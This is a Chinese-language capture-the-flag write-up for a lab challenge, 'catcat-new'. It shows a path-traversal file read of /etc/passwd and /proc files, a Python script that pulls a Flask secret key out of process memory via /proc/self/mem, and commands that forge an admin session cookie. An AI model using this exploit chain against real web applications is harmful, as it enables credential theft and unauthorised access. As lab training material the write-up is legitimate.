catcat-new
題目來源
攻防世界 NO.GFSJ1168
題解
dirsearch爆破目錄,得到http://61.147.171.105:55027/admin
,沒有有用資訊
點開主頁的圖片,觀察URL,嘗試讀取/etc/passwd
,成功,可以讀取檔案
讀取/proc/self/cmdline
檔案,發現有app.py
/proc/self/cmdline 是一個特殊的檔案,它提供了當前程序的命令列引數。例如在kali的shell中讀取該檔案,則會返回 “zsh"
在上一級路徑中讀取到app.py
將bytes轉換為字串以便於閱讀,得到以下程式碼
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
透過原始碼可以看到,我們需要偽造session,讓session裡admin
的值為1,即可訪問/admin
,拿到flag。要偽造session,我們需要拿到SECRET_KEY
,而SECRET_KEY
可以從記憶體資料中獲取。
/proc/self/mem
中儲存著當前程序在記憶體中的資料,但是該檔案無法直接讀取,我們需要先透過/proc/self/maps
檔案得到記憶體對映地址,然後讀取記憶體資料檔案/proc/self/mem
。
將讀到的maps
中的資料儲存到test.txt
檔案中,接下來使用指令碼進行mem
資料的讀取。
以下指令碼是網上找到的,我只是新增了一些註釋
import re
import requests
maps=open('test.txt') #test.txt儲存/proc/self/maps的內容
b = maps.read()
list = b.split('\\n') #以換行符分行
for line in list:
if 'rw' in line: #尋找可讀寫的記憶體區域
addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line)
#正則匹配地址,地址格式為十六進位制數[0-9a-f],reserch會返回一個re.Match物件,用括號括起來是為了使用group()處理返回結果。
#由於每一行會有兩個地址,表示一個記憶體區域,因此addr會有group(1)和group(2)
start = int(addr.group(1),16) #將十六進位制字元轉化為十進位制數,為了符合start引數格式參考連結
end = int(addr.group(2),16) #將十六進位制字元轉化為十進位制數,為了符合end引數格式
#這裡start和end引數是python讀取/proc/self/mem需要用到的引數
print(start,end)
url = f"http://61.147.171.105:55174//info?file=../../../proc/self/mem&start={start}&end={end}"
#使用start和end引數讀取mem
response = requests.get(url)
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text) #uuid4()生成的字串除去-符號後為固定的32位元組(128bit),*abcdefgh為題目原始碼生成uuid後新增的字串
if secret_key:
print(secret_key)
break
在app.py
中可以看到info
路由中除了file
引數,還有start
和end
引數,這兩個引數就是用來傳遞讀取mem
資料時記憶體區域對應的地址。
執行指令碼得到secret_key
:8fe482ecf92b4639801ca7312cf5f73a*abcdefgh
使用工具flask_session_cookie_manager偽造session。專案地址:https://github.com/noraj/flask-session-cookie-manager
偽造ssesion需要一個正確的session,將其解密,更改資料後再進行加密
解密
python flask_session_cookie_manager3.py decode -s “secret_key” -c “session”
加密
python flask_session_cookie_manager3.py encode -s “secret_key” -t “data”
獲取session值:eyJhZG1pbiI6MH0.Zl1XPA.8KjQ87LqcrnMb34jRHFIB_il4Y0
偽造session,根據app.py
將資料中admin的值改為1
接下來使用偽造的session代替原來的session,訪問路由admin
,得到flag